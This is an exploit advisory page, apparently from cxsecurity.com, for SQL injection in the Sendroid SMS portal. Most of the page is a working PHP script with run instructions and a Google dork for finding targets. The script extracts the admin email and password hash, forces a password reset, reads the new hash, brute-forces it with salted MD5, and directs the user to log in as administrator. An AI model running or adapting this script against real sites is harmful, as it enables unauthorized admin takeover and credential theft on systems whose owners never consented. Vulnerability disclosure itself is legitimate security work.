Sendroid < 6.5.0 SQL Injection

2017.12.26
Credit: Onwuka Gideon
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection # Google Dork: "welcome to * SMS portal" # Date: 22/12/2017 # Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com> Contact: http://twitter.com/@gideon_onwuka # Vendor Homepage: http://ynetinteractive.com/ # Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225 # Version: 5.0.0 - 6.5.0 # Tested on: Mac OS 1. Description The softaware suffers from SQL Injection: "/API/index.php?action=compose&username=sender&api_key=sdsd&sender" 2. Script (Automatic takeover) Attached to mail 4. How to run Script You must have PHP installed on your system to run the script. - First, copy the code to a file and save(eg: sendroid_exploit.php) - Open up your command line and CD into the directory where you saved the file. - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms" Note: The URL should be a direct link to where the software is installed. 3. Proof of Concept Run the script for example: php -f sendroid_exploit.php url=http://localhost/sms <?php /** * A script to authomatically get admin password * * @author: Onwuka Gideon <dongidomed[@]gmail[.]com> * */ parse_str(implode('&', array_slice($argv, 1)), $_GET); $queries =[ "sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'", "sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'", "sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'", ]; $payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender"; // checkCommands(); print_r(getEmailAndPassword($_GET['url'], $payload, $queries)); /** * * Checks if minimum expected command is issued * * @param: $_GET * @return; Boolean **/ function checkCommands(){ //url && shell $url = $_GET['url'] ?? ""; if( $url == "" ) { "Please enter a target"; help(); exit(1); } } // Print help message function help(){ echo "Invalid command " . PHP_EOL; echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL; echo "" . PHP_EOL; } // == // == Reset password and Get the Password hash // == function getEmailAndPassword($url, $payload, $queries){ //>> Fetch admin email echo "Fetching admin email....:"; $sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload); $email = extractValue(makeRequest($sql_get_email)); echo $email . PHP_EOL.PHP_EOL; //<< EndFetch admin email //>> Fetch admin old pass echo "Fetching admin old password...:"; $sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload); $sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload); $old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password'); echo $old_password . PHP_EOL.PHP_EOL; //<< End Fetch admin old // Now we have the old password and admin email // reset password echo "Resetting password...:"; $forgot_password = $url . "/administrator/index.php?reset&p"; makeRequest($forgot_password, "POST", ["userEmail" => $email]); echo " Done!" . PHP_EOL.PHP_EOL; //>> Fetch admin new password echo "Getting new password...:"; $sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload); $sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload); $new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password'); echo $new_password . PHP_EOL.PHP_EOL; //<< End Fetch admin new password //>> Cracking password echo "Craking password...:"; $password = crackPassword($new_password); echo $password . PHP_EOL.PHP_EOL; //<< Cracking password // return $sql_get_email; return ["email" => $email, "password" => $password]; } // // POST and GET request // == function makeRequest($url, $method = "GET", $parameter = []){ // Get cURL resource $curl = curl_init(); // Set some options - we are passing in a useragent too here if( strtolower($method) == "post" ){ curl_setopt_array($curl, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => $url, CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36', CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $parameter ]); } else{ curl_setopt_array($curl, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => $url, CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36' ]); } // Send the request & save response to $resp $resp = curl_exec($curl); // Close request to clear up some resources curl_close($curl); return $resp; } // Extract the real value function extractValue($payload, $what = "email"){ $patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/"; $replacements = []; $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = ""; $result = preg_replace($patterns, $replacements, $payload); return substr($result, 0, -1); } function crackPassword($password){ echo " cracking... please wait... "; $pwsalt = explode( ":",$password ); for ($i=1; $i < 20000000000000 ; $i++) { if(md5($i . $pwsalt[1]) == $pwsalt[0] ) { return $i; } } return "Could not crack password"; } If you successfully run the script, you'll get the admin password. You can login to the admin portal: localhost/sms/administrator/ 4. Solution: Update to the latest version


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top